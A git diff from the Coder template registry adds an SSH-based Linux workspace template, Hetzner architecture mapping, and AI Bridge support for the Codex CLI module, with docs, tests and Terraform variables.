-4.21,0.2 -1.39,0.22 -2.75,0.65 -3.92,1.37 -1.14,0.69 -2.07,1.64 -3.11,2.45 -0.52,0.41 -1.08,0.78 -1.68,1.07 -0.61,0.28 -1.28,0.48 -1.96,0.51 -0.35,0.01 -0.71,-0.01 -1.05,0.04 -0.59,0.08 -1.13,0.39 -1.47,0.83 -0.34,0.45 -0.47,1.02 -0.36,1.55 z"/>
</g>
<path id="beak_base" fill="url(#fill_beak_base)"
d="m 91.66,58.53 c 1.53,-1.71 2.57,-3.8 4.03,-5.56 0.73,-0.88 1.58,-1.69 2.57,-2.26 0.99,-0.57 2.15,-0.89 3.29,-0.79 1.27,0.11 2.46,0.74 3.39,1.61 0.93,0.87 1.62,1.97 2.17,3.12 0.53,1.11 0.95,2.28 1.71,3.24 0.81,1.02 1.94,1.71 2.97,2.52 0.51,0.4 1.01,0.83 1.41,1.34 0.41,0.51 0.72,1.1 0.86,1.74 0.13,0.65 0.06,1.33 -0.16,1.95 -0.23,0.62 -0.61,1.18 -1.09,1.64 -0.95,0.92 -2.25,1.42 -3.56,1.6 -2.62,0.37 -5.27,-0.41 -7.92,-0.34 -2.67,0.08 -5.29,1.02 -7.97,0.93 -1.33,-0.05 -2.69,-0.38 -3.79,-1.14 -0.55,-0.39 -1.03,-0.88 -1.38,-1.45 -0.34,-0.57 -0.55,-1.23 -0.58,-1.9 -0.02,-0.64 0.13,-1.28 0.39,-1.86 0.25,-0.59 0.61,-1.12 1.01,-1.62 0.81,-0.99 1.8,-1.81 2.65,-2.77 z"/>
<g id="mandible_lower">
<path id="mandible_lower_base" fill="url(#fill_mandible_lower_base)"
d="m 77.14,75.05 c 0.06,0.26 0.15,0.5 0.28,0.73 0.23,0.38 0.57,0.69 0.93,0.95 0.36,0.27 0.75,0.49 1.13,0.72 2.01,1.27 3.65,3.04 5.11,4.92 1.95,2.52 3.68,5.31 6.29,7.14 1.84,1.3 4.04,2.03 6.28,2.26 2.63,0.26 5.29,-0.16 7.83,-0.91 2.35,-0.69 4.62,-1.66 6.7,-2.95 3.97,-2.44 7.28,-6.02 11.65,-7.63 0.95,-0.35 1.94,-0.6 2.86,-1.03 0.92,-0.44 1.79,-1.08 2.23,-2 0.42,-0.88 0.4,-1.9 0.54,-2.87 0.15,-1.03 0.48,-2.03 0.66,-3.06 0.18,-1.03 0.2,-2.13 -0.24,-3.08 -0.37,-0.78 -1.04,-1.4 -1.81,-1.79 -0.77,-0.4 -1.64,-0.58 -2.51,-0.62 -1.72,-0.08 -3.43,0.36 -5.16,0.52 -2.28,0.21 -4.58,-0.09 -6.87,-0.02 -2.85,0.09 -5.66,0.73 -8.51,0.87 -3.25,0.15 -6.49,-0.35 -9.74,-0.48 -1.41,-0.06 -2.83,-0.04 -4.22,0.2 -1.39,0.23 -2.75,0.71 -3.91,1.51 -1.13,0.78 -2.03,1.84 -3.07,2.74 -0.52,0.45 -1.08,0.86 -1.7,1.16 -0.61,0.3 -1.29,0.49 -1.98,0.47 -0.35,-0.01 -0.72,-0.06 -1.05,0.04 -0.21,0.07 -0.4,0.2 -0.56,0.35 -0.16,0.16 -0.29,0.34 -0.41,0.52 -0.29,0.42 -0.54,0.87 -0.75,1.34 z"/>
<path id="mandible_lower_glare" fill="#d9b30d" filter="url(#blur_mandible_lower_glare)" clip-path="url(#clip_mandible_lower)"
d="m 89.9,78.56 c -0.33,1.37 -0.13,2.87 0.56,4.11 0.68,1.24 1.84,2.2 3.19,2.65 1.7,0.57 3.62,0.29 5.21,-0.54 0.93,-0.48 1.77,-1.16 2.3,-2.06 0.27,-0.44 0.46,-0.94 0.53,-1.46 0.06,-0.51 0.02,-1.05 -0.16,-1.54 -0.2,-0.53 -0.56,-1 -0.99,-1.37 -0.44,-0.37 -0.95,-0.64 -1.5,-0.82 -1.08,-0.36 -2.77,-0.66 -3.91,-0.68 -2.02,-0.04 -4.9,0.34 -5.23,1.71 z"/>
</g>
<g id="mandible_upper">
<path id="mandible_upper_shadow" fill="#604405" filter="url(#blur_mandible_upper_shadow)" clip-path="url(#clip_mandible_lower)"
d="m 84.31,67.86 c -1.16,0.68 -2.27,1.43 -3.36,2.2 -0.57,0.41 -1.15,0.84 -1.45,1.47 -0.21,0.44 -0.26,0.94 -0.27,1.43 0,0.5 0.03,0.99 -0.04,1.48 -0.04,0.33 -0.13,0.66 -0.14,0.99 -0.01,0.17 0,0.34 0.04,0.5 0.05,0.16 0.13,0.32 0.24,0.44 0.15,0.16 0.35,0.26 0.56,0.32 0.21,0.06 0.42,0.09 0.64,0.14 1.01,0.24 1.89,0.86 2.66,1.56 0.77,0.69 1.47,1.48 2.28,2.13 2.18,1.78 5.07,2.52 7.89,2.56 2.82,0.05 5.61,-0.54 8.36,-1.16 2.16,-0.49 4.32,-0.99 6.39,-1.76 3.2,-1.18 6.16,-2.96 8.72,-5.19 1.17,-1.01 2.26,-2.12 3.57,-2.94 1.15,-0.73 2.44,-1.21 3.62,-1.9 0.11,-0.06 0.21,-0.13 0.3,-0.2 0.1,-0.08 0.18,-0.18 0.24,-0.28 0.09,-0.19 0.09,-0.42 0.03,-0.62 -0.06,-0.2 -0.18,-0.38 -0.31,-0.55 -0.15,-0.18 -0.31,-0.34 -0.49,-0.5 -1.23,-1.05 -2.89,-1.43 -4.51,-1.56 -1.61,-0.12 -3.24,-0.03 -4.83,-0.3 -1.5,-0.25 -2.92,-0.81 -4.37,-1.27 -1.52,-0.49 -3.07,-0.87 -4.64,-1.13 -3.71,-0.61 -7.52,-0.49 -11.19,0.27 -3.49,0.73 -6.87,2.05 -9.94,3.87 z"/>
<path id="mandible_upper_base" fill="url(#fill_mandible_upper_base)"
d="m 83.94,63.95 c -1.66,1.12 -3.16,2.49 -4.43,4.04 -0.72,0.89 -1.38,1.86 -1.74,2.94 -0.29,0.86 -0.39,1.76 -0.57,2.65 -0.07,0.33 -0.15,0.66 -0.14,1 0,0.16 0.02,0.33 0.07,0.5 0.05,0.16 0.14,0.31 0.25,0.43 0.2,0.2 0.47,0.31 0.74,0.37 0.28,0.05 0.56,0.06 0.84,0.09 1.25,0.15 2.4,0.75 3.44,1.47 1.04,0.71 2,1.55 3.07,2.22 2.35,1.49 5.16,2.15 7.95,2.26 2.78,0.11 5.56,-0.31 8.3,-0.86 2.17,-0.43 4.33,-0.95 6.39,-1.76 3.16,-1.25 6.01,-3.16 8.72,-5.19 1.24,-0.92 2.46,-1.87 3.57,-2.94 0.37,-0.37 0.74,-0.74 1.14,-1.08 0.4,-0.33 0.85,-0.62 1.35,-0.78 0.76,-0.24 1.58,-0.17 2.37,-0.04 0.59,0.1 1.18,0.23 1.78,0.21 0.3,-0.02 0.6,-0.07 0.88,-0.18 0.28,-0.11 0.54,-0.28 0.73,-0.52 0.25,-0.3 0.38,-0.7 0.38,-1.09 0,-0.4 -0.12,-0.79 -0.32,-1.13 -0.4,-0.68 -1.09,-1.14 -1.81,-1.46 -0.99,-0.44 -2.06,-0.65 -3.11,-0.91 -3.23,-0.78 -6.37,-1.93 -9.34,-3.41 -1.48,-0.73 -2.92,-1.54 -4.37,-2.32 -1.5,-0.8 -3.02,-1.57 -4.64,-2.07 -3.64,-1.1 -7.6,-0.74 -11.19,0.51 -3.98,1.38 -7.58,3.84 -10.31,7.05 z"/>
<path id="mandible_upper_glare" fill="#f6da4a" filter="url(#blur_mandible_upper_glare)" clip-path="url(#clip_mandible_upper)"
d="m 109.45,64.75 c -0.2,-0.24 -0.48,-0.42 -0.78,-0.51 -0.3,-0.09 -0.62,-0.09 -0.93,-0.04 -0.62,0.11 -1.18,0.44 -1.7,0.8 -1.47,1.01 -2.77,2.26 -3.91,3.64 -1.5,1.83 -2.74,3.94 -3.16,6.27 -0.07,0.39 -0.11,0.8 -0.07,1.19 0.05,0.4 0.2,0.79 0.49,1.07 0.24,0.25 0.58,0.4 0.92,0.45 0.35,0.05 0.71,0 1.04,-0.11 0.66,-0.22 1.21,-0.69 1.74,-1.15 2.87,-2.58 5.47,-5.66 6.51,-9.38 0.1,-0.37 0.19,-0.75 0.19,-1.14 0,-0.39 -0.1,-0.78 -0.34,-1.09 z"/>
<path id="naris_left" opacity="0.8" fill="url(#fill_naris_left)" filter="url(#blur_naris_left)"
d="m 92.72,59.06 c -0.77,-0.25 -2.03,1.1 -1.62,1.79 0.11,0.19 0.46,0.43 0.7,0.3 0.35,-0.19 0.64,-0.89 1.02,-1.16 0.25,-0.18 0.2,-0.84 -0.1,-0.93 z"/>
<path id="naris_right" opacity="0.8" fill="url(#fill_naris_right)" filter="url(#blur_naris_right)"
d="m 102.56,59.42 c 0.2,0.64 1.23,0.53 1.83,0.84 0.52,0.27 0.94,0.86 1.53,0.88 0.56,0.01 1.44,-0.2 1.51,-0.76 0.09,-0.73 -0.98,-1.2 -1.67,-1.47 -0.89,-0.34 -2.03,-0.52 -2.86,-0.06 -0.19,0.11 -0.4,0.36 -0.34,0.57 z"/>
</g>
<path id="beak_corner" fill="url(#fill_beak_corner)" filter="url(#blur_beak_corner)" clip-path="url(#clip_beak)"
d="m 129.27,69.15 a 2.42,3.1 16.94 0 1 -2.81,3.04 2.42,3.1 16.94 0 1 -2.12,-3.04 2.42,3.1 16.94 0 1 2.81,-3.05 2.42,3.1 16.94 0 1 2.12,3.05 z"/>
</g>
</g>
</g>
</svg>

After

Width:  |  Height:  |  Size: 49 KiB

@@ -137,11 +137,12 @@ locals {
hcloud_server_types = {
for st in jsondecode(data.http.hcloud_server_types.response_body).server_types :
st.name => {
cores = st.cores
memory_gb = st.memory
disk_gb = st.disk
locations = [for l in st.locations : l.name]
deprecated = st.deprecated
cores = st.cores
memory_gb = st.memory
disk_gb = st.disk
architecture = st.architecture
locations = [for l in st.locations : l.name]
deprecated = st.deprecated
}
if st.deprecated == false
}
@@ -162,6 +163,19 @@ locals {
data.coder_parameter.hcloud_location.value
)
]
# Map Hetzner architecture (x86 or arm) to Coder agent architecture (amd64 or arm64)
agent_arch = try(
lookup(
{
"x86" = "amd64"
"arm" = "arm64"
},
local.hcloud_server_types[data.coder_parameter.hcloud_server_type.value].architecture,
"amd64" # Fallback if not returned
),
"amd64" # Fallback for template setup
)
}
data "coder_provisioner" "me" {}
@@ -187,7 +201,7 @@ data "coder_parameter" "home_volume_size" {
resource "coder_agent" "main" {
os = "linux"
arch = "amd64"
arch = local.agent_arch
metadata {
key = "cpu"
Binary file not shown.

After

Width:  |  Height:  |  Size: 54 KiB

+16
View File
@@ -0,0 +1,16 @@
---
display_name: "Tao Chen"
bio: "I believe in the power of technology to simplify life. Currently a freelancer, working on ideas that matter."
github: "IamTaoChen"
avatar: "./.images/avatar.png"
support_email: "IamTaoChen@gmail.com"
status: "community"
---
# Tao Chen
## Template
### ssh-linux
Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.
@@ -0,0 +1,58 @@
---
display_name: Deploy Coder on existing Linux System
description: Provision an existing Linux system as a workspace by deploying the Coder agent via SSH with this example template.
icon: "../../../../.icons/linux.svg"
verified: false
tags: ["linux"]
---
# Deploy Coder on existing Linux system
Provision an existing Linux system as a [Coder workspace](https://coder.com/docs/workspaces) by deploying the Coder agent via SSH with this example template.
## Prerequisites
### Authentication
This template assumes you have SSH access to the target Linux system. You can use either password-based authentication or an SSH private key. Ensure the target system allows SSH connections and has basic utilities like `bash` installed. The user account specified must have sufficient permissions to execute scripts and manage processes in their home directory.
For more details on SSH setup, consult your Linux distribution's documentation or standard SSH guides.
## Architecture
This template deploys the following:
- A Coder agent configured for Linux (amd64 architecture).
- Conditional parameters for SSH authentication (password or key).
- A selection of applications (e.g., VS Code Desktop, VS Code Web, Cursor) that can be enabled via multi-select.
- `null_resource` blocks to handle workspace start/stop:
- On start: Connects via SSH, creates a cache directory, writes and executes the agent's init script in the background, and logs the process ID.
- On stop: Connects via SSH, kills the agent process if running, and removes the cache directory.
- Optional modules for additional apps like `coder-login`, `cursor`, and `vscode-web`, which are provisioned only if selected and when the workspace starts.
This setup does not provision new infrastructure; it remotely deploys and manages the Coder agent on your existing Linux host. Files and configurations in the user's home directory persist across restarts, but the agent is stopped and cleaned up on workspace stop.
### Persistent Agent
The agent is ephemeral by design (started on workspace start, stopped on stop). If you need a persistently running agent, modify the template to remove the stop logic or run the agent manually on the host.
## Security Considerations
Warning: This template stores SSH credentials (password or private key) in the Terraform state file and passes them as environment variables during deployment. In production environments, this can introduce security risks, as the state file contains sensitive information in plain text and may be accessible if not properly secured.
## Usage
1. Create a new workspace in Coder using this template.
2. Fill in the parameters with your Linux system's details.
3. Start the workspace—Coder will connect via SSH and deploy the agent.
4. Access the workspace through the Coder dashboard. Selected apps (e.g., VS Code) will be available.
5. On stop, the agent process is terminated and cleaned up.
## Troubleshooting
- **SSH Connection Issues**: Verify the host, port, username, and credentials. Check firewall rules and SSH server status on the target system. Review the debug log at `~/.coder/<workspace_id>/debug.log` on the remote host.
- **Agent Not Starting**: Inspect the log file at `~/.coder/<workspace_id>/coder.log` on the remote host for errors.
- **App Not Appearing**: Ensure the app is selected in parameters and the workspace is restarted if changes are made.
- **Validation Errors**: Parameters like host and port have built-in validations—ensure inputs match the requirements.
For more advanced customization, refer to the [Coder Terraform provider documentation](https://registry.terraform.io/providers/coder/coder/latest/docs).
@@ -0,0 +1,319 @@
terraform {
required_providers {
coder = {
source = "coder/coder"
version = ">= 2.4.0"
}
random = {
source = "hashicorp/random"
version = ">= 3.6"
}
}
}
provider "coder" {}
data "coder_workspace" "me" {}
data "coder_workspace_owner" "me" {}
data "coder_parameter" "host" {
description = "Remote Host or IP"
display_name = "Host"
name = "host"
type = "string"
default = "192.168.1.1"
mutable = false
order = 1
validation {
regex = "^[a-zA-Z0-9:.%\\-]+$"
error = "Please enter a valid hostname, IPv4, or IPv6 address. Examples: example.com, 192.168.1.1, or fe80::1"
}
}
data "coder_parameter" "username" {
default = data.coder_workspace_owner.me.name
description = "SSH Username"
display_name = "Username"
name = "username"
mutable = false
order = 2
}
data "coder_parameter" "auth_type" {
name = "auth_type"
display_name = "SSH Auth Type"
description = "Authentication method for SSH"
type = "string"
form_type = "dropdown"
default = "password"
mutable = true
order = 3
option {
name = "password"
value = "password"
}
option {
name = "SSH Key Manual"
value = "ssh_key"
}
option {
name = "SSH Key from Coder"
value = "ssh_key_coder"
}
}
data "coder_parameter" "ssh_password" {
count = data.coder_parameter.auth_type.value == "password" ? 1 : 0
name = "ssh_password"
display_name = "SSH Password"
description = "Password for SSH login"
type = "string"
mutable = true
styling = jsonencode({
mask_input = true
})
order = 4
}
data "coder_parameter" "ssh_key" {
count = data.coder_parameter.auth_type.value == "ssh_key" ? 1 : 0
name = "ssh_key"
display_name = "SSH Private Key"
description = "Paste SSH private key"
type = "string"
mutable = true
form_type = "textarea"
styling = jsonencode({
mask_input = true
})
order = 4
}
data "coder_parameter" "ssh_key_coder" {
count = data.coder_parameter.auth_type.value == "ssh_key_coder" ? 1 : 0
name = "ssh_key_coder"
display_name = "Public Key From Coder"
description = "Add this public key to your remote server's authorized_keys: \n\n${data.coder_workspace_owner.me.ssh_public_key}"
default = "********************"
styling = jsonencode({
disabled = true
mask_input = true
})
order = 4
}
data "coder_parameter" "port" {
default = 22
description = "SSH Port"
display_name = "Port"
name = "port"
type = "number"
mutable = true
order = 5
validation {
min = 1
max = 65535
error = "Port must be between 1 and 65535"
}
}
data "coder_parameter" "apps" {
name = "apps"
display_name = "Choose any APPs for your workspace."
type = "list(string)"
form_type = "multi-select"
mutable = true
default = jsonencode(["VS Code Desktop"])
dynamic "option" {
for_each = local.apps_candidate
content {
name = option.value
value = option.value
}
}
}
locals {
username = data.coder_parameter.username.value
home_dir = "/home/${lower(local.username)}"
coder_cache_dir = "${local.home_dir}/.coder/${data.coder_workspace.me.id}"
agent_id_file = "${local.coder_cache_dir}/agent.id"
use_password = data.coder_parameter.auth_type.value == "password"
use_key = contains(["ssh_key", "ssh_key_coder"], data.coder_parameter.auth_type.value)
ssh_password = local.use_password ? data.coder_parameter.ssh_password[0].value : null
ssh_private_key = data.coder_parameter.auth_type.value == "ssh_key_coder" ? data.coder_workspace_owner.me.ssh_private_key : (length(data.coder_parameter.ssh_key) > 0 ? data.coder_parameter.ssh_key[0].value : null)
apps_candidate = ["VS Code Desktop", "VS Code Web", "Cursor"]
apps_selected = (can(data.coder_parameter.apps.value) && data.coder_parameter.apps.value != "") ? jsondecode(data.coder_parameter.apps.value) : []
}
resource "random_integer" "vs_code_port" {
min = 54000
max = 55999
}
resource "coder_agent" "main" {
os = "linux"
arch = "amd64"
startup_script = <<-EOT
#!/bin/bash
set -euo pipefail
EOT
env = {
GIT_AUTHOR_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
GIT_AUTHOR_EMAIL = "${data.coder_workspace_owner.me.email}"
GIT_COMMITTER_NAME = coalesce(data.coder_workspace_owner.me.full_name, data.coder_workspace_owner.me.name)
GIT_COMMITTER_EMAIL = "${data.coder_workspace_owner.me.email}"
}
display_apps {
port_forwarding_helper = true
vscode = contains(local.apps_selected, "VS Code Desktop")
vscode_insiders = false
web_terminal = true
ssh_helper = true
}
metadata {
key = "cpu"
display_name = "CPU Usage"
interval = 5
timeout = 5
script = "coder stat cpu"
}
metadata {
key = "memory"
display_name = "Memory Usage"
interval = 5
timeout = 5
script = "coder stat mem"
}
metadata {
key = "disk"
display_name = "Home Disk Usage"
interval = 600
timeout = 30
script = "coder stat disk --path ${lower(local.home_dir)}"
}
}
resource "null_resource" "deploy_coder_agent" {
count = data.coder_workspace.me.start_count
triggers = {
init_script = sha256(coder_agent.main.init_script)
token = coder_agent.main.token
}
connection {
type = "ssh"
host = data.coder_parameter.host.value
user = data.coder_parameter.username.value
port = data.coder_parameter.port.value
password = local.ssh_password
private_key = local.ssh_private_key
timeout = "5m"
}
provisioner "remote-exec" {
inline = [
"mkdir -p ${local.coder_cache_dir}",
"coder_sh=${local.coder_cache_dir}/coder.sh",
"log_file=${local.coder_cache_dir}/coder.log",
"cat > $coder_sh << 'EOF'",
"${coder_agent.main.init_script}",
"EOF",
"chmod +x $coder_sh",
"echo \"$(date) : create $coder_sh\" >> ${local.coder_cache_dir}/debug.log",
"nohup env CODER_AGENT_TOKEN='${coder_agent.main.token}' $coder_sh > $log_file 2>&1 &",
"echo $! > ${local.agent_id_file}",
"echo \"$(date) : run $coder_sh and log at $log_file\" >> ${local.coder_cache_dir}/debug.log",
]
}
}
resource "null_resource" "coder_stop" {
count = (try(data.coder_workspace.me.start_count, 1) > 0 ? 0 : 1)
connection {
type = "ssh"
host = data.coder_parameter.host.value
user = data.coder_parameter.username.value
port = data.coder_parameter.port.value
password = local.ssh_password
private_key = local.ssh_private_key
timeout = "5m"
}
provisioner "remote-exec" {
inline = [
"set -u",
"PID_FILE=${local.agent_id_file}",
# Only proceed if PID file exists
"if [ -f \"$PID_FILE\" ]; then",
" PID=$(cat \"$PID_FILE\")",
# Check if it's actually a number and process exists
" if [ -n \"$PID\" ] && echo \"$PID\" | grep -q '^[0-9][0-9]*$' && kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Gracefully stopping process $PID...\"",
# First try graceful termination
" kill -TERM \"$PID\" 2>/dev/null || true",
# Wait and check repeatedly (up to ~15 seconds total)
" for i in $(seq 1 15); do",
" sleep 1",
" if ! kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Process $PID terminated gracefully\"",
" break",
" fi",
# Show we're still waiting (every 5 seconds)
" expr $i % 5 = 0 >/dev/null && echo \"Still waiting... ($i/15 seconds)\"",
" done",
# Final check - only kill -9 if still alive"
" if kill -0 \"$PID\" 2>/dev/null; then",
" echo \"Process $PID did not terminate in time - sending SIGKILL\"",
" kill -KILL \"$PID\" 2>/dev/null || true",
" fi",
" else",
" echo \"No running process found for PID $PID (or invalid PID)\"",
" fi",
" ",
# Clean lean up regardless of whether kill succeeded
" rm -f \"$PID_FILE\"",
" rm -rf ${local.coder_cache_dir} 2>/dev/null || true",
"else",
" echo \"PID file not found: $PID_FILE - nothing to clean up\"",
"fi",
"sync 2>/dev/null || true",
]
}
}
module "coder-login" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder/coder-login/coder"
version = "1.1.1"
agent_id = coder_agent.main.id
}
module "cursor" {
count = contains(local.apps_selected, "Cursor") ? data.coder_workspace.me.start_count : 0
source = "registry.coder.com/coder/cursor/coder"
version = "1.4.0"
agent_id = coder_agent.main.id
}
module "vscode-web" {
count = contains(local.apps_selected, "VS Code Web") ? data.coder_workspace.me.start_count : 0
source = "registry.coder.com/coder/vscode-web/coder"
version = "1.4.3"
agent_id = coder_agent.main.id
folder = local.home_dir
port = random_integer.vs_code_port.result
accept_license = true
}
+78 -33
View File
@@ -3,7 +3,7 @@ display_name: Codex CLI
icon: ../../../../.icons/openai.svg
description: Run Codex CLI in your workspace with AgentAPI integration
verified: true
tags: [agent, codex, ai, openai, tasks]
tags: [agent, codex, ai, openai, tasks, aibridge]
---
# Codex CLI
@@ -13,7 +13,7 @@ Run Codex CLI in your workspace to access OpenAI's models through the Codex inte
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.0.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = var.openai_api_key
workdir = "/home/coder/project"
@@ -32,7 +32,7 @@ module "codex" {
module "codex" {
count = data.coder_workspace.me.start_count
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.0.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
workdir = "/home/coder/project"
@@ -40,7 +40,49 @@ module "codex" {
}
```
### Tasks integration
### Usage with AI Bridge
[AI Bridge](https://coder.com/docs/ai-coder/ai-bridge) is a Premium Coder feature that provides centralized LLM proxy management. To use AI Bridge, set `enable_aibridge = true`. Requires Coder version 2.30+
For tasks integration with AI Bridge, add `enable_aibridge = true` to the [Usage with Tasks](#usage-with-tasks) example below.
#### Standalone usage with AI Bridge
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.1"
agent_id = coder_agent.example.id
workdir = "/home/coder/project"
enable_aibridge = true
}
```
When `enable_aibridge = true`, the module:
- Configures Codex to use the AI Bridge profile with `base_url` pointing to `${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1` and `env_key` pointing to the workspace owner's session token
```toml
[model_providers.aibridge]
name = "AI Bridge"
base_url = "https://example.coder.com/api/v2/aibridge/openai/v1"
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
wire_api = "responses"
[profiles.aibridge]
model_provider = "aibridge"
model = "<model>" # as configured in the module input
model_reasoning_effort = "<model_reasoning_effort>" # as configured in the module input
```
Codex then runs with `--profile aibridge`
This allows Codex to route API requests through Coder's AI Bridge instead of directly to OpenAI's API.
Template build will fail if `openai_api_key` is provided alongside `enable_aibridge = true`.
### Usage with Tasks
This example shows how to configure Codex with Coder tasks.
```tf
resource "coder_ai_task" "task" {
@@ -52,17 +94,46 @@ data "coder_task" "me" {}
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.0.0"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
ai_prompt = data.coder_task.me.prompt
workdir = "/home/coder/project"
# Custom configuration for full auto mode
# Optional: route through AI Bridge (Premium feature)
# enable_aibridge = true
}
```
### Advanced Configuration
This example shows additional configuration options for custom models, MCP servers, and base configuration.
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.1.1"
agent_id = coder_agent.example.id
openai_api_key = "..."
workdir = "/home/coder/project"
codex_version = "0.1.0" # Pin to a specific version
codex_model = "gpt-4o" # Custom model
# Override default configuration
base_config_toml = <<-EOT
sandbox_mode = "danger-full-access"
approval_policy = "never"
preferred_auth_method = "apikey"
EOT
# Add extra MCP servers
additional_mcp_servers = <<-EOT
[mcp_servers.GitHub]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio"
EOT
}
```
@@ -92,33 +163,6 @@ preferred_auth_method = "apikey"
network_access = true
```
### Custom Configuration
For custom Codex configuration, use `base_config_toml` and/or `additional_mcp_servers`:
```tf
module "codex" {
source = "registry.coder.com/coder-labs/codex/coder"
version = "4.0.0"
# ... other variables ...
# Override default configuration
base_config_toml = <<-EOT
sandbox_mode = "danger-full-access"
approval_policy = "never"
preferred_auth_method = "apikey"
EOT
# Add extra MCP servers
additional_mcp_servers = <<-EOT
[mcp_servers.GitHub]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio"
EOT
}
```
> [!NOTE]
> If no custom configuration is provided, the module uses secure defaults. The Coder MCP server is always included automatically. For containerized workspaces (Docker/Kubernetes), you may need `sandbox_mode = "danger-full-access"` to avoid permission issues. For advanced options, see [Codex config docs](https://github.com/openai/codex/blob/main/codex-rs/config.md).
@@ -137,3 +181,4 @@ module "codex" {
- [Codex CLI Documentation](https://github.com/openai/codex)
- [AgentAPI Documentation](https://github.com/coder/agentapi)
- [Coder AI Agents Guide](https://coder.com/docs/tutorials/ai-agents)
- [AI Bridge](https://coder.com/docs/ai-coder/ai-bridge)
+32 -4
View File
@@ -113,7 +113,7 @@ describe("codex", async () => {
sandbox_mode = "danger-full-access"
approval_policy = "never"
preferred_auth_method = "apikey"
[custom_section]
new_feature = true
`.trim();
@@ -189,7 +189,7 @@ describe("codex", async () => {
args = ["-y", "@modelcontextprotocol/server-github"]
type = "stdio"
description = "GitHub integration"
[mcp_servers.FileSystem]
command = "npx"
args = ["-y", "@modelcontextprotocol/server-filesystem", "/workspace"]
@@ -215,7 +215,7 @@ describe("codex", async () => {
approval_policy = "untrusted"
preferred_auth_method = "chatgpt"
custom_setting = "test-value"
[advanced_settings]
timeout = 30000
debug = true
@@ -228,7 +228,7 @@ describe("codex", async () => {
args = ["--serve", "--port", "8080"]
type = "stdio"
description = "Custom development tool"
[mcp_servers.DatabaseMCP]
command = "python"
args = ["-m", "database_mcp_server"]
@@ -454,4 +454,32 @@ describe("codex", async () => {
);
expect(startLog.stdout).not.toContain("test prompt");
});
test("codex-with-aibridge", async () => {
const { id } = await setup({
moduleVariables: {
enable_aibridge: "true",
model_reasoning_effort: "none",
},
});
await execModuleScript(id);
const startLog = await readFileContainer(
id,
"/home/coder/.codex-module/agentapi-start.log",
);
const configToml = await readFileContainer(
id,
"/home/coder/.codex/config.toml",
);
expect(startLog).toContain("AI Bridge is enabled, using profile aibridge");
expect(startLog).toContain(
"Starting Codex with arguments: --profile aibridge",
);
expect(configToml).toContain(
"[profiles.aibridge]\n" + 'model_provider = "aibridge"',
);
});
});
+47 -4
View File
@@ -1,5 +1,5 @@
terraform {
required_version = ">= 1.0"
required_version = ">= 1.9"
required_providers {
coder = {
@@ -71,6 +71,27 @@ variable "cli_app_display_name" {
default = "Codex CLI"
}
variable "enable_aibridge" {
type = bool
description = "Use AI Bridge for Codex. https://coder.com/docs/ai-coder/ai-bridge"
default = false
validation {
condition = !(var.enable_aibridge && length(var.openai_api_key) > 0)
error_message = "openai_api_key cannot be provided when enable_aibridge is true. AI Bridge automatically authenticates the client using Coder credentials."
}
}
variable "model_reasoning_effort" {
type = string
description = "The reasoning effort for the AI Bridge model. One of: none, low, medium, high. https://platform.openai.com/docs/guides/latest-model#lower-reasoning-effort"
default = "medium"
validation {
condition = contains(["none", "low", "medium", "high"], var.model_reasoning_effort)
error_message = "model_reasoning_effort must be one of: none, low, medium, high."
}
}
variable "install_codex" {
type = bool
description = "Whether to install Codex."
@@ -110,13 +131,13 @@ variable "install_agentapi" {
variable "agentapi_version" {
type = string
description = "The version of AgentAPI to install."
default = "v0.11.6"
default = "v0.11.8"
}
variable "codex_model" {
type = string
description = "The model for Codex to use. Defaults to gpt-5.1-codex-max."
default = ""
description = "The model for Codex to use. Defaults to gpt-5.2-codex."
default = "gpt-5.2-codex"
}
variable "pre_install_script" {
@@ -155,12 +176,31 @@ resource "coder_env" "openai_api_key" {
value = var.openai_api_key
}
resource "coder_env" "coder_aibridge_session_token" {
count = var.enable_aibridge ? 1 : 0
agent_id = var.agent_id
name = "CODER_AIBRIDGE_SESSION_TOKEN"
value = data.coder_workspace_owner.me.session_token
}
locals {
workdir = trimsuffix(var.workdir, "/")
app_slug = "codex"
install_script = file("${path.module}/scripts/install.sh")
start_script = file("${path.module}/scripts/start.sh")
module_dir_name = ".codex-module"
aibridge_config = <<-EOF
[model_providers.aibridge]
name = "AI Bridge"
base_url = "${data.coder_workspace.me.access_url}/api/v2/aibridge/openai/v1"
env_key = "CODER_AIBRIDGE_SESSION_TOKEN"
wire_api = "responses"
[profiles.aibridge]
model_provider = "aibridge"
model = "${var.codex_model}"
model_reasoning_effort = "${var.model_reasoning_effort}"
EOF
}
module "agentapi" {
@@ -196,6 +236,7 @@ module "agentapi" {
ARG_CODEX_START_DIRECTORY='${local.workdir}' \
ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \
ARG_CONTINUE='${var.continue}' \
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
/tmp/start.sh
EOT
@@ -211,6 +252,8 @@ module "agentapi" {
ARG_INSTALL='${var.install_codex}' \
ARG_CODEX_VERSION='${var.codex_version}' \
ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \
ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \
ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \
ARG_CODEX_START_DIRECTORY='${local.workdir}' \
@@ -13,6 +13,8 @@ set -o nounset
